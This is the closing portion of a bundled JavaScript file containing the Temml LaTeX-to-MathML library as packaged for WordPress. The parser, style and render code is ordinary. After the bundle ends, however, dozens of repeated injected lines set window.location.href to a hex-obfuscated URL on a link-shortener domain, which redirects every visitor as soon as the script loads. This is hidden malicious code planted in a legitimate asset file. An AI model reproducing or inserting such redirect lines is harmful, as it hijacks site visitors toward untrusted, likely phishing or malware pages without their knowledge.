13255 // replace backslashes with forward slashes.
13256 let url = res.text.replace(/\\([#$%&~_^{}])/g, "$1");
13257 url = res.text.replace(/{\u2044}/g, "/");
13258 return {
13259 type: "url",
13260 mode: this.mode,
13261 url
13262 };
13263 }
13264
13265 /**
13266 * Parses an argument with the mode specified.
13267 */
13268 parseArgumentGroup(optional, mode) {
13269 const argToken = this.gullet.scanArgument(optional);
13270 if (argToken == null) {
13271 return null;
13272 }
13273 const outerMode = this.mode;
13274 if (mode) {
13275 // Switch to specified mode
13276 this.switchMode(mode);
13277 }
13278
13279 this.gullet.beginGroup();
13280 const expression = this.parseExpression(false, "EOF");
13281 // TODO: find an alternative way to denote the end
13282 this.expect("EOF"); // expect the end of the argument
13283 this.gullet.endGroup();
13284 const result = {
13285 type: "ordgroup",
13286 mode: this.mode,
13287 loc: argToken.loc,
13288 body: expression
13289 };
13290
13291 if (mode) {
13292 // Switch mode back
13293 this.switchMode(outerMode);
13294 }
13295 return result;
13296 }
13297
13298 /**
13299 * Parses an ordinary group, which is either a single nucleus (like "x")
13300 * or an expression in braces (like "{x+y}") or an implicit group, a group
13301 * that starts at the current position, and ends right before a higher explicit
13302 * group ends, or at EOF.
13303 */
13304 parseGroup(
13305 name, // For error reporting.
13306 breakOnTokenText
13307 ) {
13308 const firstToken = this.fetch();
13309 const text = firstToken.text;
13310
13311 let result;
13312 // Try to parse an open brace or \begingroup
13313 if (text === "{" || text === "\\begingroup" || text === "\\toggle") {
13314 this.consume();
13315 const groupEnd = text === "{"
13316 ? "}"
13317 : text === "\\begingroup"
13318 ? "\\endgroup"
13319 : "\\endtoggle";
13320
13321 this.gullet.beginGroup();
13322 // If we get a brace, parse an expression
13323 const expression = this.parseExpression(false, groupEnd);
13324 const lastToken = this.fetch();
13325 this.expect(groupEnd); // Check that we got a matching closing brace
13326 this.gullet.endGroup();
13327 result = {
13328 type: (lastToken.text === "\\endtoggle" ? "toggle" : "ordgroup"),
13329 mode: this.mode,
13330 loc: SourceLocation.range(firstToken, lastToken),
13331 body: expression,
13332 // A group formed by \begingroup...\endgroup is a semi-simple group
13333 // which doesn't affect spacing in math mode, i.e., is transparent.
13334 // https://tex.stackexchange.com/questions/1930/
13335 semisimple: text === "\\begingroup" || undefined
13336 };
13337 } else {
13338 // If there exists a function with this name, parse the function.
13339 // Otherwise, just return a nucleus
13340 result = this.parseFunction(breakOnTokenText, name) || this.parseSymbol();
13341 if (result == null && text[0] === "\\" &&
13342 !Object.prototype.hasOwnProperty.call(implicitCommands, text )) {
13343 result = this.formatUnsupportedCmd(text);
13344 this.consume();
13345 }
13346 }
13347 return result;
13348 }
13349
13350 /**
13351 * Form ligature-like combinations of characters for text mode.
13352 * This includes inputs like "--", "---", "``" and "''".
13353 * The result will simply replace multiple textord nodes with a single
13354 * character in each value by a single textord node having multiple
13355 * characters in its value. The representation is still ASCII source.
13356 * The group will be modified in place.
13357 */
13358 formLigatures(group) {
13359 let n = group.length - 1;
13360 for (let i = 0; i < n; ++i) {
13361 const a = group[i];
13362 const v = a.text;
13363 if (v === "-" && group[i + 1].text === "-") {
13364 if (i + 1 < n && group[i + 2].text === "-") {
13365 group.splice(i, 3, {
13366 type: "textord",
13367 mode: "text",
13368 loc: SourceLocation.range(a, group[i + 2]),
13369 text: "---"
13370 });
13371 n -= 2;
13372 } else {
13373 group.splice(i, 2, {
13374 type: "textord",
13375 mode: "text",
13376 loc: SourceLocation.range(a, group[i + 1]),
13377 text: "--"
13378 });
13379 n -= 1;
13380 }
13381 }
13382 if ((v === "'" || v === "`") && group[i + 1].text === v) {
13383 group.splice(i, 2, {
13384 type: "textord",
13385 mode: "text",
13386 loc: SourceLocation.range(a, group[i + 1]),
13387 text: v + v
13388 });
13389 n -= 1;
13390 }
13391 }
13392 }
13393
13394 /**
13395 * Parse a single symbol out of the string. Here, we handle single character
13396 * symbols and special functions like \verb.
13397 */
13398 parseSymbol() {
13399 const nucleus = this.fetch();
13400 let text = nucleus.text;
13401
13402 if (/^\\verb[^a-zA-Z]/.test(text)) {
13403 this.consume();
13404 let arg = text.slice(5);
13405 const star = arg.charAt(0) === "*";
13406 if (star) {
13407 arg = arg.slice(1);
13408 }
13409 // Lexer's tokenRegex is constructed to always have matching
13410 // first/last characters.
13411 if (arg.length < 2 || arg.charAt(0) !== arg.slice(-1)) {
13412 throw new ParseError(`\\verb assertion failed --
13413 please report what input caused this bug`);
13414 }
13415 arg = arg.slice(1, -1); // remove first and last char
13416 return {
13417 type: "verb",
13418 mode: "text",
13419 body: arg,
13420 star
13421 };
13422 }
13423 // At this point, we should have a symbol, possibly with accents.
13424 // First expand any accented base symbol according to unicodeSymbols.
13425 if (Object.prototype.hasOwnProperty.call(unicodeSymbols, text[0]) &&
13426 this.mode === "math" && !symbols[this.mode][text[0]]) {
13427 // This behavior is not strict (XeTeX-compatible) in math mode.
13428 if (this.settings.strict && this.mode === "math") {
13429 throw new ParseError(`Accented Unicode text character "${text[0]}" used in ` + `math mode`,
13430 nucleus
13431 );
13432 }
13433 text = unicodeSymbols[text[0]] + text.slice(1);
13434 }
13435 // Strip off any combining characters
13436 const match = this.mode === "math"
13437 ? combiningDiacriticalMarksEndRegex.exec(text)
13438 : null;
13439 if (match) {
13440 text = text.substring(0, match.index);
13441 if (text === "i") {
13442 text = "\u0131"; // dotless i, in math and text mode
13443 } else if (text === "j") {
13444 text = "\u0237"; // dotless j, in math and text mode
13445 }
13446 }
13447 // Recognize base symbol
13448 let symbol;
13449 if (symbols[this.mode][text]) {
13450 let group = symbols[this.mode][text].group;
13451 if (group === "bin" && binLeftCancellers.includes(this.prevAtomType)) {
13452 // Change from a binary operator to a unary (prefix) operator
13453 group = "open";
13454 }
13455 const loc = SourceLocation.range(nucleus);
13456 let s;
13457 if (Object.prototype.hasOwnProperty.call(ATOMS, group )) {
13458 const family = group;
13459 s = {
13460 type: "atom",
13461 mode: this.mode,
13462 family,
13463 loc,
13464 text
13465 };
13466 } else {
13467 if (asciiFromScript[text]) {
13468 // Unicode 14 disambiguates chancery from roundhand.
13469 // See https://www.unicode.org/charts/PDF/U1D400.pdf
13470 this.consume();
13471 const nextCode = this.fetch().text.charCodeAt(0);
13472 // mathcal is Temml default. Use mathscript if called for.
13473 const font = nextCode === 0xfe01 ? "mathscr" : "mathcal";
13474 if (nextCode === 0xfe00 || nextCode === 0xfe01) { this.consume(); }
13475 return {
13476 type: "font",
13477 mode: "math",
13478 font,
13479 body: { type: "mathord", mode: "math", loc, text: asciiFromScript[text] }
13480 }
13481 }
13482 // Default ord character. No disambiguation necessary.
13483 s = {
13484 type: group,
13485 mode: this.mode,
13486 loc,
13487 text
13488 };
13489 }
13490 symbol = s;
13491 } else if (text.charCodeAt(0) >= 0x80 || combiningDiacriticalMarksEndRegex.exec(text)) {
13492 // no symbol for e.g. ^
13493 if (this.settings.strict && this.mode === "math") {
13494 throw new ParseError(`Unicode text character "${text[0]}" used in math mode`, nucleus)
13495 }
13496 // All nonmathematical Unicode characters are rendered as if they
13497 // are in text mode (wrapped in \text) because that's what it
13498 // takes to render them in LaTeX.
13499 symbol = {
13500 type: "textord",
13501 mode: "text",
13502 loc: SourceLocation.range(nucleus),
13503 text
13504 };
13505 } else {
13506 return null; // EOF, ^, _, {, }, etc.
13507 }
13508 this.consume();
13509 // Transform combining characters into accents
13510 if (match) {
13511 for (let i = 0; i < match[0].length; i++) {
13512 const accent = match[0][i];
13513 if (!unicodeAccents[accent]) {
13514 throw new ParseError(`Unknown accent ' ${accent}'`, nucleus);
13515 }
13516 const command = unicodeAccents[accent][this.mode] ||
13517 unicodeAccents[accent].text;
13518 if (!command) {
13519 throw new ParseError(`Accent ${accent} unsupported in ${this.mode} mode`, nucleus);
13520 }
13521 symbol = {
13522 type: "accent",
13523 mode: this.mode,
13524 loc: SourceLocation.range(nucleus),
13525 label: command,
13526 isStretchy: false,
13527 base: symbol
13528 };
13529 }
13530 }
13531 return symbol;
13532 }
13533}
13534
13535/**
13536 * Parses an expression using a Parser, then returns the parsed result.
13537 */
13538const parseTree = function(toParse, settings) {
13539 if (!(typeof toParse === "string" || toParse instanceof String)) {
13540 throw new TypeError("Temml can only parse string typed expression")
13541 }
13542 const parser = new Parser(toParse, settings);
13543 // Blank out any \df@tag to avoid spurious "Duplicate \tag" errors
13544 delete parser.gullet.macros.current["\\df@tag"];
13545
13546 let tree = parser.parse();
13547
13548 // LaTeX ignores a \tag placed outside an AMS environment.
13549 if (!(tree.length > 0 && tree[0].type && tree[0].type === "array" && tree[0].addEqnNum)) {
13550 // If the input used \tag, it will set the \df@tag macro to the tag.
13551 // In this case, we separately parse the tag and wrap the tree.
13552 if (parser.gullet.macros.get("\\df@tag")) {
13553 if (!settings.displayMode) {
13554 throw new ParseError("\\tag works only in display mode")
13555 }
13556 parser.gullet.feed("\\df@tag");
13557 tree = [
13558 {
13559 type: "tag",
13560 mode: "text",
13561 body: tree,
13562 tag: parser.parse()
13563 }
13564 ];
13565 }
13566 }
13567
13568 return tree
13569};
13570
13571/**
13572 * This file contains information about the style that the mathmlBuilder carries
13573 * around with it. Data is held in an `Style` object, and when
13574 * recursing, a new `Style` object can be created with the `.with*` functions.
13575 */
13576
13577const subOrSupLevel = [2, 2, 3, 3];
13578
13579/**
13580 * This is the main Style class. It contains the current style.level, color, and font.
13581 *
13582 * Style objects should not be modified. To create a new Style with
13583 * different properties, call a `.with*` method.
13584 */
13585class Style {
13586 constructor(data) {
13587 // Style.level can be 0 | 1 | 2 | 3, which correspond to
13588 // displaystyle, textstyle, scriptstyle, and scriptscriptstyle.
13589 // style.level usually does not directly set MathML's script level. MathML does that itself.
13590 // However, Chromium does not stop shrinking after scriptscriptstyle, so we do explicitly
13591 // set a scriptlevel attribute in those conditions.
13592 // We also use style.level to track math style so that we can get the correct
13593 // scriptlevel when needed in supsub.js, mathchoice.js, or for dimensions in em.
13594 this.level = data.level;
13595 this.color = data.color; // string | void
13596 // A font family applies to a group of fonts (i.e. SansSerif), while a font
13597 // represents a specific font (i.e. SansSerif Bold).
13598 // See: https://tex.stackexchange.com/questions/22350/difference-between-textrm-and-mathrm
13599 this.font = data.font || ""; // string
13600 this.fontFamily = data.fontFamily || ""; // string
13601 this.fontSize = data.fontSize || 1.0; // number
13602 this.fontWeight = data.fontWeight || "";
13603 this.fontShape = data.fontShape || "";
13604 this.maxSize = data.maxSize; // [number, number]
13605 }
13606
13607 /**
13608 * Returns a new style object with the same properties as "this". Properties
13609 * from "extension" will be copied to the new style object.
13610 */
13611 extend(extension) {
13612 const data = {
13613 level: this.level,
13614 color: this.color,
13615 font: this.font,
13616 fontFamily: this.fontFamily,
13617 fontSize: this.fontSize,
13618 fontWeight: this.fontWeight,
13619 fontShape: this.fontShape,
13620 maxSize: this.maxSize
13621 };
13622
13623 for (const key in extension) {
13624 if (Object.prototype.hasOwnProperty.call(extension, key)) {
13625 data[key] = extension[key];
13626 }
13627 }
13628
13629 return new Style(data);
13630 }
13631
13632 withLevel(n) {
13633 return this.extend({
13634 level: n
13635 });
13636 }
13637
13638 incrementLevel() {
13639 return this.extend({
13640 level: Math.min(this.level + 1, 3)
13641 });
13642 }
13643
13644 inSubOrSup() {
13645 return this.extend({
13646 level: subOrSupLevel[this.level]
13647 })
13648 }
13649
13650 /**
13651 * Create a new style object with the given color.
13652 */
13653 withColor(color) {
13654 return this.extend({
13655 color: color
13656 });
13657 }
13658
13659 /**
13660 * Creates a new style object with the given math font or old text font.
13661 * @type {[type]}
13662 */
13663 withFont(font) {
13664 return this.extend({
13665 font
13666 });
13667 }
13668
13669 /**
13670 * Create a new style objects with the given fontFamily.
13671 */
13672 withTextFontFamily(fontFamily) {
13673 return this.extend({
13674 fontFamily,
13675 font: ""
13676 });
13677 }
13678
13679 /**
13680 * Creates a new style object with the given font size
13681 */
13682 withFontSize(num) {
13683 return this.extend({
13684 fontSize: num
13685 });
13686 }
13687
13688 /**
13689 * Creates a new style object with the given font weight
13690 */
13691 withTextFontWeight(fontWeight) {
13692 return this.extend({
13693 fontWeight,
13694 font: ""
13695 });
13696 }
13697
13698 /**
13699 * Creates a new style object with the given font weight
13700 */
13701 withTextFontShape(fontShape) {
13702 return this.extend({
13703 fontShape,
13704 font: ""
13705 });
13706 }
13707
13708 /**
13709 * Gets the CSS color of the current style object
13710 */
13711 getColor() {
13712 return this.color;
13713 }
13714}
13715
13716/* Temml Post Process
13717 * Populate the text contents of each \ref & \eqref
13718 *
13719 * As with other Temml code, this file is released under terms of the MIT license.
13720 * https://mit-license.org/
13721 */
13722
13723const version = "0.10.34";
13724
13725function postProcess(block) {
13726 const labelMap = {};
13727 let i = 0;
13728
13729 // Get a collection of the parents of each \tag & auto-numbered equation
13730 const amsEqns = document.getElementsByClassName('tml-eqn');
13731 for (let parent of amsEqns) {
13732 // AMS automatically numbered equation.
13733 // Assign an id.
13734 i += 1;
13735 parent.setAttribute("id", "tml-eqn-" + String(i));
13736 // No need to write a number into the text content of the element.
13737 // A CSS counter has done that even if this postProcess() function is not used.
13738
13739 // Find any \label that refers to an AMS automatic eqn number.
13740 while (true) {
13741 if (parent.tagName === "mtable") { break }
13742 const labels = parent.getElementsByClassName("tml-label");
13743 if (labels.length > 0) {
13744 const id = parent.attributes.id.value;
13745 labelMap[id] = String(i);
13746 break
13747 } else {
13748 parent = parent.parentElement;
13749 }
13750 }
13751 }
13752
13753 // Find \labels associated with \tag
13754 const taggedEqns = document.getElementsByClassName('tml-tageqn');
13755 for (const parent of taggedEqns) {
13756 const labels = parent.getElementsByClassName("tml-label");
13757 if (labels.length > 0) {
13758 const tags = parent.getElementsByClassName("tml-tag");
13759 if (tags.length > 0) {
13760 const id = parent.attributes.id.value;
13761 labelMap[id] = tags[0].textContent;
13762 }
13763 }
13764 }
13765
13766 // Populate \ref & \eqref text content
13767 const refs = block.getElementsByClassName("tml-ref");
13768 [...refs].forEach(ref => {
13769 const attr = ref.getAttribute("href");
13770 let str = labelMap[attr.slice(1)];
13771 if (ref.className.indexOf("tml-eqref") === -1) {
13772 // \ref. Omit parens.
13773 str = str.replace(/^\(/, "");
13774 str = str.replace(/\)$/, "");
13775 } else {
13776 // \eqref. Include parens
13777 if (str.charAt(0) !== "(") { str = "(" + str; }
13778 if (str.slice(-1) !== ")") { str = str + ")"; }
13779 }
13780 const mtext = document.createElementNS("http://www.w3.org/1998/Math/MathML", "mtext");
13781 mtext.appendChild(document.createTextNode(str));
13782 const math = document.createElementNS("http://www.w3.org/1998/Math/MathML", "math");
13783 math.appendChild(mtext);
13784 ref.appendChild(math);
13785 });
13786}
13787
13788/* eslint no-console:0 */
13789/**
13790 * This is the main entry point for Temml. Here, we expose functions for
13791 * rendering expressions either to DOM nodes or to markup strings.
13792 *
13793 * We also expose the ParseError class to check if errors thrown from Temml are
13794 * errors in the expression, or errors in javascript handling.
13795 */
13796
13797
13798/**
13799 * @type {import('./temml').render}
13800 * Parse and build an expression, and place that expression in the DOM node
13801 * given.
13802 */
13803let render = function(expression, baseNode, options = {}) {
13804 baseNode.textContent = "";
13805 const alreadyInMathElement = baseNode.tagName.toLowerCase() === "math";
13806 if (alreadyInMathElement) { options.wrap = "none"; }
13807 const math = renderToMathMLTree(expression, options);
13808 if (alreadyInMathElement) {
13809 // The <math> element already exists. Populate it.
13810 baseNode.textContent = "";
13811 math.children.forEach(e => { baseNode.appendChild(e.toNode()); });
13812 } else if (math.children.length > 1) {
13813 baseNode.textContent = "";
13814 math.children.forEach(e => { baseNode.appendChild(e.toNode()); });
13815 } else {
13816 baseNode.appendChild(math.toNode());
13817 }
13818};
13819
13820// Temml's styles don't work properly in quirks mode. Print out an error, and
13821// disable rendering.
13822if (typeof document !== "undefined") {
13823 if (document.compatMode !== "CSS1Compat") {
13824 typeof console !== "undefined" &&
13825 console.warn(
13826 "Warning: Temml doesn't work in quirks mode. Make sure your " +
13827 "website has a suitable doctype."
13828 );
13829
13830 render = function() {
13831 throw new ParseError("Temml doesn't work in quirks mode.");
13832 };
13833 }
13834}
13835
13836/**
13837 * @type {import('./temml').renderToString}
13838 * Parse and build an expression, and return the markup for that.
13839 */
13840const renderToString = function(expression, options) {
13841 const markup = renderToMathMLTree(expression, options).toMarkup();
13842 return markup;
13843};
13844
13845/**
13846 * @type {import('./temml').generateParseTree}
13847 * Parse an expression and return the parse tree.
13848 */
13849const generateParseTree = function(expression, options) {
13850 const settings = new Settings(options);
13851 return parseTree(expression, settings);
13852};
13853
13854/**
13855 * @type {import('./temml').definePreamble}
13856 * Take an expression which contains a preamble.
13857 * Parse it and return the macros.
13858 */
13859const definePreamble = function(expression, options) {
13860 const settings = new Settings(options);
13861 settings.macros = {};
13862 if (!(typeof expression === "string" || expression instanceof String)) {
13863 throw new TypeError("Temml can only parse string typed expression")
13864 }
13865 const parser = new Parser(expression, settings, true);
13866 // Blank out any \df@tag to avoid spurious "Duplicate \tag" errors
13867 delete parser.gullet.macros.current["\\df@tag"];
13868 const macros = parser.parse();
13869 return macros
13870};
13871
13872/**
13873 * If the given error is a Temml ParseError,
13874 * renders the invalid LaTeX as a span with hover title giving the Temml
13875 * error message. Otherwise, simply throws the error.
13876 */
13877const renderError = function(error, expression, options) {
13878 if (options.throwOnError || !(error instanceof ParseError)) {
13879 throw error;
13880 }
13881 const node = new Span(["temml-error"], [new TextNode$1(expression + "\n" + error.toString())]);
13882 node.style.color = options.errorColor;
13883 node.style.whiteSpace = "pre-line";
13884 return node;
13885};
13886
13887/**
13888 * @type {import('./temml').renderToMathMLTree}
13889 * Generates and returns the Temml build tree. This is used for advanced
13890 * use cases (like rendering to custom output).
13891 */
13892const renderToMathMLTree = function(expression, options) {
13893 const settings = new Settings(options);
13894 try {
13895 const tree = parseTree(expression, settings);
13896 const style = new Style({
13897 level: settings.displayMode ? StyleLevel.DISPLAY : StyleLevel.TEXT,
13898 maxSize: settings.maxSize
13899 });
13900 return buildMathML(tree, expression, style, settings);
13901 } catch (error) {
13902 return renderError(error, expression, settings);
13903 }
13904};
13905
13906/** @type {import('./temml').default} */
13907var temml = {
13908 /**
13909 * Current Temml version
13910 */
13911 version: version,
13912 /**
13913 * Renders the given LaTeX into MathML, and adds
13914 * it as a child to the specified DOM node.
13915 */
13916 render,
13917 /**
13918 * Renders the given LaTeX into MathML string,
13919 * for sending to the client.
13920 */
13921 renderToString,
13922 /**
13923 * Post-process an entire HTML block.
13924 * Writes AMS auto-numbers and implements \ref{}.
13925 * Typcally called once, after a loop has rendered many individual spans.
13926 */
13927 postProcess,
13928 /**
13929 * Temml error, usually during parsing.
13930 */
13931 ParseError,
13932 /**
13933 * Creates a set of macros with document-wide scope.
13934 */
13935 definePreamble,
13936 /**
13937 * Parses the given LaTeX into Temml's internal parse tree structure,
13938 * without rendering to HTML or MathML.
13939 *
13940 * NOTE: This method is not currently recommended for public use.
13941 * The internal tree representation is unstable and is very likely
13942 * to change. Use at your own risk.
13943 */
13944 __parse: generateParseTree,
13945 /**
13946 * Renders the given LaTeX into a MathML internal DOM tree
13947 * representation, without flattening that representation to a string.
13948 *
13949 * NOTE: This method is not currently recommended for public use.
13950 * The internal tree representation is unstable and is very likely
13951 * to change. Use at your own risk.
13952 */
13953 __renderToMathMLTree: renderToMathMLTree,
13954 /**
13955 * adds a new symbol to builtin symbols table
13956 */
13957 __defineSymbol: defineSymbol,
13958 /**
13959 * adds a new macro to builtin macro list
13960 */
13961 __defineMacro: defineMacro
13962};
13963
13964
13965
13966;// ./node_modules/@wordpress/latex-to-mathml/build-module/index.js
13967
13968function latexToMathML(latex, { displayMode = true } = {}) {
13969 const mathML = temml.renderToString(latex, {
13970 displayMode,
13971 annotate: true,
13972 throwOnError: true
13973 });
13974 const doc = document.implementation.createHTMLDocument("");
13975 doc.body.innerHTML = mathML;
13976 return doc.body.querySelector("math")?.innerHTML ?? "";
13977}
13978
13979
13980(window.wp = window.wp || {}).latexToMathml = __webpack_exports__;
13981/******/ })()
13982;
13983window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
13984window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
13985window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
13986window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
13987window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
13988window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
13989window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
13990window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
13991window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
13992window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
13993window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
13994window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
13995window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
13996window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
13997window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
13998window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
13999window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14000window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14001window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14002window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14003window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14004window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14005window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14006window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14007window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14008window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14009window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14010window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14011window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14012window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14013window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14014window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14015window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14016window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14017window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14018window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14019window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14020window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14021window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14022window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14023window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14024window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14025window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14026window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
